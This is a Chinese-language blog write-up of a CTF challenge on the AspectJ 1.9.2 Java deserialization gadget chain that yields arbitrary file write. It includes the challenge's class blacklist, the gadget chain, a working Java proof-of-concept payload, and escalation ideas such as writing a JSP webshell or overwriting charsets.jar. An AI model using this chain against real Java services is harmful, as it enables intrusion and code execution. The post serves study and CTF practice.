Aspject1.9.2任意文件写入
aspject1.9.2任意文件写入
前言
原本并没有接触过这条链子,直至前几天Asal1n
发来了一道反序列化的题目,说是蓝桥杯决赛0解的题目,跟我说应该是通过aspject
链子打任意文件写入
的漏洞,并且版本是JAVA17
。我原本会以为很简单,但是最终确实没有做出来。原因是在题目之中,把最终的触发点SimpleCache
给禁用掉了,后面我还想到了通过jackson
来进行反序列化,但是又由于JAVA17
的原因,所以各种反射调用等等都会触发安全机制,导致反序列化的失败。但是本次也是有了收获,接触到了aspject
这条十分简单的链子,因此就小写一下文章记录一下。
链子分析
引入依赖:
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
</dependency>
put
在StoreableCachingMap
类中,存在put
方法,接收一个key
与value
两个对象,当value
对象的值是IDEM
,则path
变量被赋值为IDEM
,否则会将两个参数传入到writeToPath
方法中,得到最终的结果之后,会将key
与path
通过put
方法放入到HashMap
当中,最终在触发storeMap
方法中,会返回HashMap
的结果。
首先这里任意文件写入的点就在writeToPath
方法当中,这个方法通过目录+分隔符+key
的形式作为文件的写入路径,将传入的value写入到文件当中。
从SimpleCache
的子类StoreableCachingMap
的构造函数中可以知悉,这里的folder
是可控的,并且还能够控制storingTimer
参数。
至此,任意文件写入的点就出现了,只要能够触发StoreableCachingMap
中的put
方法就可以导致任意文件的写入。
StoreMap
事实上,前文还提到了storeMap
方法,这个方法能够写入序列化
的数据,当两个毫秒数相减大于初始化时的storingTimer
,就会将序列化的数据写入到cache.idx
文件当中。
在上方init
方法中,会读取Cache.idx
的内容,通过readObject
反序列化,也就是说只要控制cache.idx
的内容,就能够通过写入恶意链子的形式触发反序列化的漏洞。
最终在SimpleCache
的构造方法中,会调用StoreCachingMap
的init
方法,因此也可以通过storeMap
方法完成反序列化链子的触发。
因此这种任意文件写入
的漏洞要造成比较高的危害性,可以从两个角度入手,tomcat
和spring
应用存在一定的差异
- 对于
tomcat-jsp
这类应用,可以直接通过链子写入jsp
木马完成利用。 - 对于
spring
应用,因为spring
一般以jar打包的形式启动,而且也不会动态部署更新,因此即使写进去了文件也没法进行利用。
Spring通过任意文件的利用方式
前文也说到springboot
在运行的时候是打包成jar包的形式,并且会将所有的依赖打包,因此程序运行时没有办法将任意文件写入到网站的目录下,但是却可以写入到系统的classpath
目录下,但是Java
的加载机制是懒加载 。
懒加载:在运行项目时,为了节省内存等各种因素,不会将所有的JAVA HOME
中的jar
包都加载进去,当调用相关类需要用到的时候才会继续进行加载,一般系统类的jar
包有以下:
resources.jar;
rt.jar;
sunrsasign.jar;
jsse.jar;
jce.jar;
charsets.jar;
jfr.jar;
因此我们可以将恶意的内容写入到这些jar
包当中,当触发时,就会造成恶意类的调用,比如说写入到charsets.jar
中,并发起请求charset=GBK
的请求头。
回到那道题
题目自定义了一个反序列化
的类:
public class SecurityObjectInputStream extends ObjectInputStream {
public static String[] blacklist = new String[]{"org.springframework", "AbstractAction", "Hashtable", "HashMap", "AbstractMap", "java.rmi", "com.sun.jndi", "sun.rmi", "org.hibernate", "SimpleCache"};
public SecurityObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
protected Class resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
if (!contains(cls.getName())) {
return super.resolveClass(cls);
} else {
throw new InvalidClassException("Unexpected serialized class", cls.getName());
}
}
public static boolean contains(String targetValue) {
String[] var1 = blacklist;
int var2 = var1.length;
for(int var3 = 0; var3 < var2; ++var3) {
String forbiddenPackage = var1[var3];
if (targetValue.contains(forbiddenPackage)) {
return true;
}
}
return false;
}
}
黑名单中禁用了很多类,包括最终的终点类SimpleCache
,事实上这里没有禁用掉jackson
的东西,因此直接用jackson
原生反序列化的payload
可以打通,但是原版本是JDK17
。因此会触发安全机制。
然后源代码中还给了两个类,分别是EasyMap
和TiedMap
,代码如下:
public class EasyMap implements Map, Serializable {
protected final Map MapFactory;
protected final Map map;
protected EasyMap(Map map, Map factory) {
this.MapFactory = factory;
this.map = map;
}
public int size() {
return 0;
}
public boolean isEmpty() {
return false;
}
public boolean containsKey(Object key) {
return false;
}
public boolean containsValue(Object value) {
return false;
}
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.MapFactory.get(key);
this.map.put(key, value);
return value;
} else {
return this.get(key);
}
}
public Object put(Object key, Object value) {
return null;
}
public Object remove(Object key) {
return null;
}
public void putAll(Map m) {
}
public void clear() {
}
public Set keySet() {
return null;
}
public Collection values() {
return null;
}
public Set<Entry> entrySet() {
return null;
}
}
这里的get
方法可以触发map.put
,可以触发上述的aspject
链子中的put方法
public class TiedMap implements Entry, Serializable {
private final Map map;
private final Object key;
public TiedMap(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
public Object setValue(Object value) {
if (value == this) {
throw new IllegalArgumentException("Cannot set value to this map entry");
} else {
return this.map.put(this.key, value);
}
}
public boolean equals(Object obj) {
if (obj == this) {
return true;
} else if (!(obj instanceof Entry)) {
return false;
} else {
boolean var10000;
label43: {
label29: {
Entry other = (Entry)obj;
Object value = this.getValue();
if (this.key == null) {
if (other.getKey() != null) {
break label29;
}
} else if (!this.key.equals(other.getKey())) {
break label29;
}
if (value == null) {
if (other.getValue() == null) {
break label43;
}
} else if (value.equals(other.getValue())) {
break label43;
}
}
var10000 = false;
return var10000;
}
var10000 = true;
return var10000;
}
}
public String toString() {
String var10000 = String.valueOf(this.getKey());
return var10000 + "=" + String.valueOf(this.getValue());
}
}
这里存在toString
方法,能够触发getValue
方法,而这里的getValue
方法能够通过map.get
能够触发EasyMap#get
方法进而串联起整条链
因此如果在不管限制情况下,整个Gadgets如下:
BadAttributeValueExpException#readObject()
TiedMap#toString()
TiedMap#getValue()
EasyMap#get()
StoreableCachingMap#put()
StoreableCachingMap#writeToPath()
任意文件写入
paload如下:
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException,
InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
String filepath="./";
String content="BBB world";
String fileName="hello.txt";
Class<?> c=Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor<?> constructor=c.getDeclaredConstructor(String.class,int.class);
constructor.setAccessible(true);
Map<?,?> map= (Map) constructor.newInstance(filepath,10000);
TreeMap<String, byte[]> treeMap=new TreeMap<>();
treeMap.put(fileName, content.getBytes(StandardCharsets.UTF_8));
EasyMap easyMap=new EasyMap(map,treeMap);
TiedMap tiedMap=new TiedMap(easyMap,fileName);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
setFieldValue(badAttributeValueExpException,"val",tiedMap);
byte[] arr=serialize(badAttributeValueExpException);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(arr);
SecurityObjectInputStream ois = new SecurityObjectInputStream(byteArrayInputStream);
ois.readObject();
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield = object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
我在尝试解这个题目的时候,寻找是否存在新的终点,最终并没有找到,只发现了存在dump
方法可以将内容写入到.class
文件当中。
protected void dump(String name, byte[] b, boolean before) {
String dirName = this.getDumpDir();
if (before) {
dirName = dirName + File.separator + "_before";
}
String className = name.replace('.', '/');
File dir;
if (className.indexOf(47) > 0) {
dir = new File(dirName + File.separator + className.substring(0, className.lastIndexOf(47)));
} else {
dir = new File(dirName);
}
dir.mkdirs();
String fileName = dirName + File.separator + className + ".class";
try {
FileOutputStream os = new FileOutputStream(fileName);
os.write(b);
os.close();
} catch (IOException var9) {
this.warn("unable to dump class " + name + " in directory " + dirName, var9);
}
}
总结
整个aspject
链子十分简单,凡是可以触发put
的链子都可以串联起这个任意文件写入,比如CC
链。至于这道题,由于JDK17
与SecurityObjectInputStream
的限制,导致了还未解出来。
文章标题:Aspject1.9.2任意文件写入
文章链接:https://aiwin.fun/index.php/archives/4419/
最后编辑:2024 年 6 月 12 日 09:05 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)